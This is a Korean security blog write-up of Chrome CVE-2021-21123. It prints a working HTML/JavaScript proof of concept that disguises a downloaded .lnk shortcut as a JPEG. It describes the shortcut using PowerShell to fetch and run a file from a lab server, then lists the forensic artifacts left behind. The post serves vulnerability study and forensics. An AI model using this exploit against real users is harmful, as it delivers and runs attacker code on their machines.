-
[Chrome] CVE-2021-21123보안/1-Day 2021. 12. 22. 23:19
1. 취약점 및 환경정보
1.1 취약점 정보
취약점 File System API에서 발생되는 취약점 CVE CVE-2021-21123 취약점 설명 Insufficient data validation in File System API in Google Chrome prior to 88.0.4324.96 allowed a remote attacker to bypass filesystem restrictions via a crafted HTML page. 취약점 유형 RCE 1.2 분석 환경
운영체제 Windows 10 PRO 빌드18363.592 버전1909
Chrome 버전 Chrome 86.0.4240.75
1.3 PoC
Github https://github.com/Puliczek/CVE-2021-21123-PoC-Google-Chrome <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>File System Access API - security bugs</title> </head> <body> <h3>CVE-2021-21123 Exploit</h3> <img style="border: 2px solid grey" src="park.jpg" alt="bob-mento" width="453" height="604"> <div> <button id="addNewFile" style="font-size: 26px; margin-top: 10px;">Save</button> </div> <script> const butSaveNewFile = document.getElementById('addNewFile') butSaveNewFile.addEventListener('mouseup', async () => { const options = { types: [ { description: 'JPEG Image (*.jpg)', accept: { 'text/plain': ['.jpg.lnk'] //could be .exe/.bat or anything }, // content: 'C:\\Windows\\system32\\calc.exe' } ], //delete from Save as type "*.*" option excludeAcceptAllOption: true } const handle = await window.showSaveFilePicker(options) const writable = await handle.createWritable() const response = await fetch('hack.lnk') await response.body.pipeTo(writable) }) </script> </body> </html>
1.4 공격방법
File System API같은 경우 SSL인증서가 있어야 호출이 된다. 그러므로 공격 페이지에 https로 접근 가능하도록 환경을 구성해야 한다.
사용자 PC에서 공격자 서버에 접근하게 되면 [그림1]의 페이지에 접속된다.
사용자는 해당 이미지를 저장하기 위해 Save 버튼을 클릭하게 되면 JPG 타입으로 저장할 수 있다.
JPG파일로 저장했지만 실제 저장된 파일은 LNK타입으로 저장된걸 볼 수 있다.
다운받은 exploit.jpg의 속성정보를 확인 결과 파워쉘을 통해 http://10.10.10.129/hack/bobxploit.txt 파일을 C드라이브 밑에 Temp폴더안에 다운로드 후 실행한다는것을 확인할 수 있다.
실행 확인 결과 Temp에 TXT파일 생성 후 실행이 됐다.
2. 아티팩트
2.1 Sysmon
Sysmon에 기록된 프로세스
chrome.exe -> runtimebroker.exe -> searchprotocolhost.exe -> searchfilterhost.exe -> chxsmartscreen.exe -> runtimebroker.exe -> powershell.exe -> conhost.exe -> nissrv.exe -> notepad.exe
2.2 Prefetch
프로그램 흐름
CHROME.EXE -> SEARCHPROTOCOLHOST.EXE -> SEARCHFILERHOST.EXE -> CHXSMARTSCREEN.EXE -> POWERSHELL.EXE -> CONHOST.EXE -> RUNTIMEBROKER.EXE -> NISSRV.EXE -> NOTEPAD.EXE
2.3 Browser Artifact
ChromeCacheView를 통해 공격에 사용됐던 스크립트가 캐시파일로 남아있는걸 확인할 수 있다.
BrowsingHistoryView를 통해 공격페이지 접속후 C:/Temp/bobxploit.txt를 실행한 흔적을 볼 수 있다.
Reffer
HTTPS 구축방법 https://youtu.be/rgBY6phztlk
Exploit 영상 https://youtu.be/l9swTtaRDNs
Chrome Browser Artifact https://dyoerr9030.tistory.com/2
Windows Error Report https://yum-history.tistory.com/295
'보안 > 1-Day' 카테고리의 다른 글
[Chrome] CVE-2021-30551 (0) 2022.01.01 [Chrome] CVE-2021-21224 (0) 2021.12.22